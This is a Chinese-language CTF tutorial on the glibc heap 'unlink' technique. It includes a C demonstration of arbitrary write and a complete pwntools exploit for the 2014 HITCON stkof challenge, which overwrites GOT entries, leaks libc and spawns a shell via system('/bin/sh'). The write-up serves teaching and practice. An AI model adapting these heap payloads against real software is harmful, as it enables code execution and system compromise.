unlink简介
unlink的过程含义
当一个堆块(非fastbin)释放时,libc会先看其相邻的堆块是否空闲,空闲的话就将这个相邻堆块从bins中取出,并与当前释放堆块合并,而这个bins中取出堆块的过程就是unlink。
unlink利用原理
unlink源码实现
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else{
FD->bk = BK;
BK->fd = FD;
........
}
更改 chunk 的 fd 和 bk 为 chunk_ptr - 0x18 和 chunk_ptr - 0x10,即
(在chunk的堆块中做的变化)
- FD_chunk = chunk->fd = chunk - 0x18 == ①
- BK_chunk = chunk->bk = chunk - 0x10
那么就可以绕过第一个检查:
- FD_chunk->bk = chunk - 0x18 + 0x18 = chunk
- BK_chunk->fd = chunk - 0x10 + 0x10 = chunk
绕过第一个检查后:
(非chunk堆块中做的变化)
- FD_chunk->bk = chunk = BK_chunk = chunk - 0x10
- BK_chunk->fd = chunk = FD_chunk = chunk - 0x18 == ②
最终得到的结果(联系①②式)是:chunk = chunk - 0x18 = chunk->fd
因此最后我们只需要修改chunk的地址下内容,就可以对chunk-0x18地址进行任意写了
…
unlink示例
代码
演示unlink后实现了 chunk->bk = chunk,libc版本是基于2.23及以下版本,可以使用patchelf工具来修改libc版本
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main(){
chunk0_ptr = (uint64_t*)malloc(0x80);
uint64_t* chunk1_ptr = (uint64_t*)malloc(0x80);
fprintf(stderr,"chunk0_ptr: %p -> %p\n",&chunk0_ptr,chunk0_ptr);
fprintf(stderr,"victim chunk: %p -> %p\n\n",&chunk1_ptr,chunk1_ptr);
/* chunk0_ptr[1] = 0x80; // chunk0's fake size = 0x80, pass check */
chunk0_ptr[2] = (uint64_t) &chunk0_ptr - 0x18;
chunk0_ptr[3] = (uint64_t) &chunk0_ptr - 0x10;
fprintf(stderr,"fake fd: %p = &chunk0_ptr - 0x18\n",(void* )chunk0_ptr[2]);
fprintf(stderr,"fake bk: %p = &chunk0_ptr - 0x10\n",(void* )chunk0_ptr[3]);
uint64_t* chunk1_hdr = (void*)chunk1_ptr - 0x10; // chunk1's size area
chunk1_hdr[0] = 0x80; // pre_size = 0x80, chunk0's fake size = 0x80
chunk1_hdr[1] &= ~1; // make chunk0 seem free
/*int *t[10],i; //tcache
for(i=0;i<7;i++){
t[i] = malloc(0x80);
}
for(i=0;i<7;i++){
free(t[i]);
}*/
free(chunk1_ptr); //unlink
char victim_str[8] = "AAAAAAAA";
chunk0_ptr[3] = (uint64_t)victim_str;
fprintf(stderr,"old string: %s\n",victim_str);
chunk0_ptr[0] = 0x42424242424242LL;
fprintf(stderr,"new Value: %s\n",victim_str);
}
结果
victim_str是存放在chunk0_ptr[3]地址下,但通过修改 chunk0_ptr[0],victim_str发生了改变,证明了 chunk0 = chunk0 - 0x18
结论
只需要将上面的chunk0,即伪造的fd改为我们想要控制的目的地址-0x18,在实现unlink之后修改chunk0的fd就相当于修改目的地址下的内容
…
…
实例1 - 2014 HITCON stkof
函数功能分析
- alloc函数:fget接收size,malloc开辟size大小的堆空间,堆指针放入globals数组,打印堆指针在globals数组的索引
- fill函数:fget接收globals数组索引,接收size,在索引指向的堆指针下存放size大小的数据。没有限制size大小与malloc时的size一样,所以存在堆溢出漏洞。
- free_chunk函数:fget接收globals数组索引,free索引对应的堆指针,将堆指针设为0
- print函数:没有意义
基本思路
- 填充一个chunk伪造一个fake chunk,覆盖下一个chunk的size域伪造前一个chunk是我们伪造的新chunk并处于释放状态
- unlink修改控制地址,即globals中的堆指针发生改变
- 控制地址修改成功就可以依次修改堆指针为我们想要的地址,并在这些地址下任意写入内容
题目给了libc.so,用patchelf工具修改程序libc,并根据libc版本修改程序的ld版本
patchelf --replace-needed libc.so.6 你要换的libc的硬路径 ./pwn
patchelf --set-interpreter ld的硬路径 ./pwn
exp分析
- 开辟堆空间,这里开辟了3个堆空间,第一个堆空间用来填充fgets和printf分配(malloc)的缓冲区
alloc(0x100) #chunk1
alloc(0x30) #chunk2
alloc(0x80) #chunk3
可以看到globals数组中的指针,chunk2和chunk3是才是连着的,可以实现覆盖
#globals
0x602140: 0x0000000000000000 0x00000000027aa020
0x602150: 0x00000000027aa540 0x00000000027aa580
- fill chunk2覆盖chunk3
a) 填充chunk2伪造一个0x20大小的chunk,并为这个chunk写入fd与bk(后面要伪造这个chunk为free chunk)
b) 接着填充的0x20用来通过伪造的chunk的chunk's prev_size pass check
,后8个字节随意填充
c) 覆盖chunk3的pre_size为0x30,size为0x90,这样可以伪造上一个chunk为free状态,free chunk3的时候,因为pre_size为0x30,向上找到的free chunk其实是我们伪造的chunk,而这个时候0x20的伪造chunk还会check 0x20之后的chunk (也就是0x20向下偏移的 “next chunk ”) 的pre_size是否是0x20,我们刚好也覆盖了伪造chunk后面为0x20,所以能通过这个 check
pload = p64(0) + p64(0x20) #fake chunk’s size域
pload += p64(globals_2 - 0x18) + p64(globals_2 - 0x10) #fd、bk; globals_2作为我们要控制(变化或修改)的地址
pload += p64(0x20) #fake pre_size to pass the check
pload = pload.ljust(0x30,'a')
pload += p64(0x30) + p64(0x90) #overflow chunk3's size域
#gdb.attach(p)
fill(2,len(pload),pload)
覆盖后的堆情况:
#fill chunk2, overflow chunk3
0x27aa530: 0x0000000000000000 0x0000000000000041 --> chunk2
0x27aa540: 0x0000000000000000 0x0000000000000020 --> fake chunk
0x27aa550: 0x0000000000602138 0x0000000000602140
0x27aa560: 0x0000000000000020 0x6161616161616161
0x27aa570: 0x0000000000000030 0x0000000000000090 --> chunk3
0x27aa580: 0x0000000000000000 0x0000000000000000
- free chunk3,实现unlink
我们的globals_2 = 0x602140 + 0x8*2 = 0x602150,unlink之后 *(globals_2) = globals_2 - 0x18 = 0x602138
free(3)
p.recvuntil("OK\n") #将结束后打印"OK\n"接收掉
unlink之后的globals,globals[3] = 0,globals[2] = &globals_2 - 0x18,chunk2的堆指针放在0x602150地址下,之后如果我们编辑chunk2会先取到这个地址下的堆指针0x602138,然后写入chunk2的内容实际就写入到了0x602138地址下面,就可以修改globals中堆指针,然后向这些指针下任意写入内容
#globals
0x602140: 0x0000000000000000 0x00000000027aa020
0x602150: 0x0000000000602138 0x0000000000000000
- 获取put地址,修改chunk2内容,将globals数组的从索引0开始的堆指针依次改为 free.got、puts.got、atoi.got ,修改chunk0(free.got)地址下内容为puts.plt,调用
free(1)
时执行puts(puts.got)
得到puts真实地址
# 0x602138地址开始填充以下pload
pload = 'a'*8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi']) #修改globals堆指针
fill(2,len(pload),pload)
pload = p64(stkof.plt['puts']) #修改free.got地址下内容为puts.plt
fill(0,len(pload),pload)
free(1) # puts(puts.got)得到puts地址
puts_addr = p.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
puts_addr = u64(puts_addr)
之后相继获取system和binsh地址即可
- 获取shell,因为上面free完之后就是fget接收新的choice然后是
atoi(choice)
,所以之前我们将chunk2的堆指针改为atoi留在这里用,我们只需要修改chunk2将atoi.got下写入system地址,然后再fgets的时候输入binsh地址,最后就可以实现system(binsh)
pload = p64(system)
fill(2,len(pload),pload) #修改chunk2,即atoi.got为system地址
p.send(p64(binsh)) # 发送atoi参数binsh
p.interactive()
…
完整EXP
from pwn import *
p = process('./stkof')
stkof = ELF('./stkof')
libc = ELF('./libc.so.6')
globals_2 = 0x602140 + 0x8*2
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil("OK\n")
def fill(idx,size,content):
p.sendline("2")
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil("OK\n")
def free(idx):
p.sendline('3')
p.sendline(str(idx))
def exp():
gdb.attach(p)
alloc(0x100)
alloc(0x30)
alloc(0x80)
pload = p64(0) + p64(0x20)
pload += p64(globals_2 - 0x18) + p64(globals_2 - 0x10)
pload += p64(0x20)
pload = pload.ljust(0x30,'a')
pload += p64(0x30) + p64(0x90)
#gdb.attach(p)
fill(2,len(pload),pload)
free(3)
p.recvuntil("OK\n")
pload = 'a'*8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
fill(2,len(pload),pload)
pload = p64(stkof.plt['puts'])
fill(0,len(pload),pload)
free(1)
puts_addr = p.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
puts_addr = u64(puts_addr)
log.success('puts: ' + hex(puts_addr))
base = puts_addr - libc.sym['puts']# -0xc0
binsh = base + libc.search('/bin/sh').next()
system = base + libc.sym['system']
log.success('libc base: ' + hex(base))
log.success('/bin/sh addr: ' + hex(binsh))
log.success('system addr: ' + hex(system))
pload = p64(system)
fill(2,len(pload),pload)
#gdb.attach(p)
p.send(p64(binsh))
p.interactive()
if __name__ == "__main__":
exp()